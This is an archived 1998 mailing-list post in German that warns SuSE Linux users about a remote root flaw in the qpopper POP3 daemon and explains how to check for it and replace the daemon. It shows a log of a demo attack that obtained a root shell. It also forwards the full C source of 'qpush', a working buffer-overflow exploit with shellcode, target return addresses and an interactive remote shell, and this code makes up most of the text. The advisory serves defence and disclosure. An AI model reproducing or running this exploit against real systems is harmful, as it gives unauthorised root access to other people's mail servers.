![](https://seccdn.libravatar.org/avatar/8dd5e19ba01c86814003be034323fa98.jpg?s=120&d=mm&r=g)
-----FW: <000901bda358$8df90a40$bc9cdc83@cygnus.tabu.uni-bonn.de>----- EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! SICHERHEITSLUECKE IN QPOPPER ============================ qpopper ist ein POP3 Daemon, der in JEDER Suse Linux Distribution installiert und aktiviert ist!!! Auch auf vielen anderen Systemen wird er eingesetzt Es ist moeglich innerhalb von 5 Sekunden von jedem Rechner der Welt aus eine root-Shell auf dem betroffenen Rechner zu oeffnen. BETROFFENE SYSTEME: =================== JEDER SUSE LINUX RECHNER mit aktiviertem qpopper (STANDARDEINSTELLUNG IN SUSE LINUX!!!) JEDER ANDERE RECHNER mit qpopper FESTSTELLEN, OB RECHNER BETROFFEN: ================================== Ist folgender Eintrag in der /etc/inetd.conf vorhanden, so ist der Rechner betroffen: pop3 stream tcp nowait root /usr/sbin/popper -s (Lautet das Programm ipop3 anstatt popper, so ist der Rechner NICHT betroffen) LOESUNG: ======== Ersteinmal deaktivieren des qpoppers in /etc/inetd.conf und danach kill -HUP auf die Prozess ID vom inetd. Danach installieren eines sicheren POP3 Daemons. (zum Beispiel ipop3d) Die Sourcen dazu liegen auf ftp.tabu.uni-bonn.de in /pub/patches/unix <A HREF="ftp://ftp.tabu.uni-bonn.de/pub/patches/unix"><A HREF="ftp://ftp.tabu.uni-bonn.de/pub/patches/unix</A">ftp://ftp.tabu.uni-bonn.de/pub/patches/unix</A</A>> Hier ein Beispiel-Angriff von szczepan@bse.tabu.uni-bonn.de auf biblio3.physik.uni-bonn.de (Dort habe ich den popper nach dem "Angriff" deaktiviert) ================================================================ zczepan@bse:/home/szczepan > ./a.out biblio3.physik.uni-bonn.de äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿". whoami root hostname biblio3 logout ================================================================ Ich empfehle die sofortige Deaktivierung aller qpopper Daemon Prozesse in /etc/inetd.conf und einen Neustart des inetd! Torge Szczepanek - ICQ 3067708 _ Tutor CIP-Pool Physics - Admin SWH Tannenbusch _ <A HREF="http://cygnus.ml.org/_"><A HREF="http://cygnus.ml.org/_</A">http://cygnus.ml.org/_</A</A>> <A HREF="mailto:cygnus@iname.com">mailto:cygnus@iname.com</A> -----Original Message----- From: Bugtraq List [<A HREF="mailto:BUGTRAQ@NETSPACE.ORG">mailto:BUGTRAQ@NETSPACE.ORG</A>] On Behalf Of Herbert Rosmanith Sent: Montag, 29. Juni 1998 02:21 To: BUGTRAQ@NETSPACE.ORG Subject: qpush: qpopper exploit source dear listmembers, this program demonstrates how to exploit popper. it took me quite a time that vsprintf() in pop_msg translates all upper-case to lower-case, which will result in corruptions of assembly code containing these codes, and interpretes hexcodes like 0x0c, 0x0b as line seperator (LF?), which seems to stop the copying of the shell-code too early. note that, after "qpush" has successfully executed /bin/sh, you will not see any prompt. type "id" to see who you are, like that: $ ./qpush technix.oeh äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿ id uid=0(root) gid=0(root) use at your own risk. regards, h.rosmanith herp@wildsau.idv.uni-linz.ac.at --------------------------- >8 -------------------------------- /* qpush: qualcom popper buffer overflow exploit (pop_msg) * Mon Jun 29 01:26:06 GMT 1998 - herp * Herbert Rosmanith * herp@wildsau.idv.uni-linz.ac.at */ #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <signal.h> #include <unistd.h> #include <errno.h> long addrlist[]={ 0xbfffeee4, /*2.2*/ 0xbfffec2c /*2.41beta1*/ }; char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh........."; void die(char *s) { if (errno) perror(s); else fprintf(stderr,"\n",s); exit(-1); } void usage() { printf("qpush [-index] <hostname>\n" " -0 QPOP Version 2.2 (default)\n" " -1 QPOP Version 2.41beta1\n"); exit(0); } int resolv(char *host,long *ipaddr) { if (isdigit(host[0])) { *ipaddr=inet_addr(host); if (*ipaddr==-1) return -1; } else { struct hostent *hp; if ((hp=gethostbyname(host))==NULL) { fprintf(stderr,"tc: : unknown host\n"); exit(-1); } *ipaddr=*(unsigned long *)hp->h_addr; } return 0; } int connect_to(char *hostname,short port) { struct sockaddr_in s_in; int s; s=socket(PF_INET,SOCK_STREAM,0); if (s==-1) die("socket"); if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1) die("unknown host"); s_in.sin_family=AF_INET; s_in.sin_port=htons(port); if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1) die("connect"); return s; } void socket_read(int s,char *buf,int len) { int i; switch(i=read(s,buf,len)) { case -1: die("unexpected EOF"); case 0: die("EOF"); default: buf[i]=0; //printf("",buf); break; } } void terminal(int s) { char buf[1024]; fd_set rfds; fd_set fds; int i; for (i=0;i<NSIG;i++) signal(i,SIG_IGN); FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(s,&fds); for (;;) { memcpy(&rfds,&fds,sizeof(fds)); i=select(s+1,&rfds,NULL,NULL,NULL); if (i==-1) die("select"); if (i==0) die("session closed"); if (FD_ISSET(s,&rfds)) { if ((i=read(s,buf,sizeof(buf)))<1) die("session closed"); write(1,buf,i); } if (FD_ISSET(0,&rfds)) { if ((i=read(0,buf,sizeof(buf)))<1) die("session closed"); write(s,buf,i); } } } void main(int argc,char *argv[]) { char buf[1024+128]; int s,i,ix; if (argc>=2 && argv[1][0]=='-') { ix=atoi(&argv[1][1]); argc--; argv++; } else ix=0; if (argc!=2 || ix>sizeof(addrlist)/sizeof(long)) usage(); s=connect_to(argv[1],110); /* WKS POP3 */ socket_read(s,buf,sizeof(buf)); memset(buf,0x90,sizeof(buf)); for (i=981;i<981+10*4;i+=4) memcpy(&buf[i],&addrlist[ix],4); memcpy(&buf[941],shellcode,strlen(shellcode)); buf[sizeof(buf)-3]=0x0d; buf[sizeof(buf)-2]=0x0a; buf[sizeof(buf)-1]=0x00; write(s,buf,sizeof(buf)); socket_read(s,buf,sizeof(buf)); terminal(s); } --------------End of forwarded message------------------------- --- Noch einen schönen Tag Noel Köthe - To get out of this list, please send email to majordomo@suse.com with this text in its body: unsubscribe suse-linux-e